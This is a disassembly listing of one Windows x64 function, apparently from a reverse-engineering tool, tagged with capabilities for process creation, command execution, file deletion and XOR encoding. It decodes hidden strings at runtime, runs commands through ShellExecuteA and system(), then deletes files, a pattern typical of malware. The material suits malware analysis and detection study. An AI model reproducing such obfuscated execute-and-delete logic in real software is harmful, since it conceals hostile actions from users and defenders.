Function at 0x140056e30
Capabilities:
Create process on windows
Delete file
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov dword [rsp + 0x30], 0xb180e199
mov dword [rsp + 0x34], 0x8983aabf
mov dword [rsp + 0x38], 0x809c86cc
xor eax, eax
mov byte [rsp + 0x3c], al
xor edi, edi
mov edx, edi
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140056e70
mov byte [rsp + 0x3c], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140056eb0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x18]
call fcn.1400417c0
nop
movdqa xmm0, xmmword [0x140074dc0]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140074d10]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x8ed2cfcc
mov word [rsp + 0x6c], 0x8c87
xor eax, eax
mov byte [rsp + 0x6e], al
mov edx, edi
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x48]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x26
jb 0x140056f00
mov byte [rsp + 0x6e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
lea rax, [rsp + 0x48]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140056f33
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400417c0
nop
movdqa xmm0, xmmword [0x140074d90]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140074f30]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0xa0c1b9
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x48]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x23
jb 0x140056f80
mov byte [rsp + 0x6b], 0
mov dword [rsp + 0x30], 0xb8abb4aa
mov dword [rsp + 0x34], 0x8488acac
mov dword [rsp + 0x38], 0x80ca8f8e
mov word [rsp + 0x3c], 0x829e
xor eax, eax
mov byte [rsp + 0x3e], al
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140056fd0
mov byte [rsp + 0x3e], 0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, [rbp - 0x48]
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x30], 0xb180e199
mov dword [rsp + 0x34], 0x8983aabf
mov dword [rsp + 0x38], 0x809c86cc
xor eax, eax
mov byte [rsp + 0x3c], al
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140057040
mov byte [rsp + 0x3c], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140057073
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x48]
call fcn.1400417c0
nop
movdqa xmm0, xmmword [0x140074cc0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074e40]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140074860]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [str.Uomttcqdp_enk]
movdqu xmmword [rbp - 0x60], xmm1
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x3f
jb 0x1400570d0
mov byte [rbp - 0x51], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140057105
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.1400417c0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x48]
call fcn.140056b60
test al, al
je 0x140057670
lea rax, [rsp + 0x48]
mov qword [rbp + 0x50], rax
movdqa xmm0, xmmword [0x140074cb0]
movdqu xmmword [rsp + 0x30], xmm0
xor eax, eax
mov byte [rsp + 0x40], al
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x140057160
mov byte [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140057196
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.1400417c0
nop
movdqa xmm0, xmmword [0x140074cc0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074e40]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140074860]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140074c50]
movdqu xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], 0x7776
xor eax, eax
mov byte [rbp - 0x4e], al
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x42
jb 0x140057200
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
lea rax, [rsp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140057232
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.1400417c0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.140056b60
test al, al
je 0x140057670
lea rax, [rsp + 0x48]
mov qword [rbp + 0x50], rax
movdqa xmm0, xmmword [0x140074dc0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074d10]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0x8ed2cfcc
mov word [rbp - 0x6c], 0x8c87
xor eax, eax
mov byte [rbp - 0x6a], al
mov edx, edi
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x26
jb 0x1400572a0
mov byte [rbp - 0x6a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400572d5
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.1400417c0
nop
movdqa xmm0, xmmword [0x140074cc0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074e40]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140074860]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [str.Uomttdqbb___enk]
movdqu xmmword [rbp - 0x60], xmm1
mov edx, edi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x3f
jb 0x140057330
mov byte [rbp - 0x51], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
lea rax, [rsp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140057362
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.1400417c0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.140056b60
test al, al
je 0x140057670
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rbp + 0x18]
call fcn.140062dd0
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.140040da0
nop
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rcx, qword [rbp - 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x30], 0xb180e199
mov dword [rsp + 0x34], 0x8983aabf
mov dword [rsp + 0x38], 0x809c86cc
xor eax, eax
mov byte [rsp + 0x3c], al
mov edx, edi
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140057400
mov byte [rsp + 0x3c], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
jne 0x14005761d
movdqa xmm0, xmmword [0x140074cb0]
movdqu xmmword [rsp + 0x30], xmm0
xor eax, eax
mov byte [rsp + 0x40], al
mov edx, edi
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x140057450
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
jne 0x14005761d
movdqa xmm0, xmmword [0x140074dc0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074d10]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0x8ed2cfcc
mov word [rbp - 0x6c], 0x8c87
xor eax, eax
mov byte [rbp - 0x6a], al
mov edx, edi
nop
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x26
jb 0x1400574b0
mov byte [rbp - 0x6a], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
jne 0x14005761d
mov dword [rsp + 0x30], 0x81f28786
mov dword [rsp + 0x34], 0x9193beb5
mov dword [rsp + 0x38], 0x87809b87
mov word [rsp + 0x3c], 0x81
mov edx, edi
nop
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xd
jb 0x140057500
mov byte [rsp + 0x3d], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140057533
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.1400417c0
lea rcx, [rsp + 0x48]
call fcn.140056d70
test al, al
je 0x14005761d
movdqa xmm0, xmmword [0x140074db0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140074e00]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0xbedc938e
mov word [rbp - 0x6c], 0xa3c4
xor eax, eax
mov byte [rbp - 0x6a], al
mov edx, edi
nop
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0x26
jb 0x140057590
mov byte [rbp - 0x6a], 0
mov dword [rsp + 0x30], 0xb8abb4aa
mov dword [rsp + 0x34], 0x8488acac
mov dword [rsp + 0x38], 0x80ca8f8e
mov word [rsp + 0x3c], 0x829e
xor eax, eax
mov byte [rsp + 0x3e], al
mov edx, edi
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x26]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x1400575e0
mov byte [rsp + 0x3e], 0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov bl, 1
jmp 0x14005761f
xor bl, bl
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14005765d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057658
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057658
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063c10
movdqa xmm0, xmmword [0x140074660]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
jmp 0x140057672
xor bl, bl
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400576b1
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400576ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400576ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063c10
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1400576ef
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400576ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400576ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063c10
movzx eax, bl
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret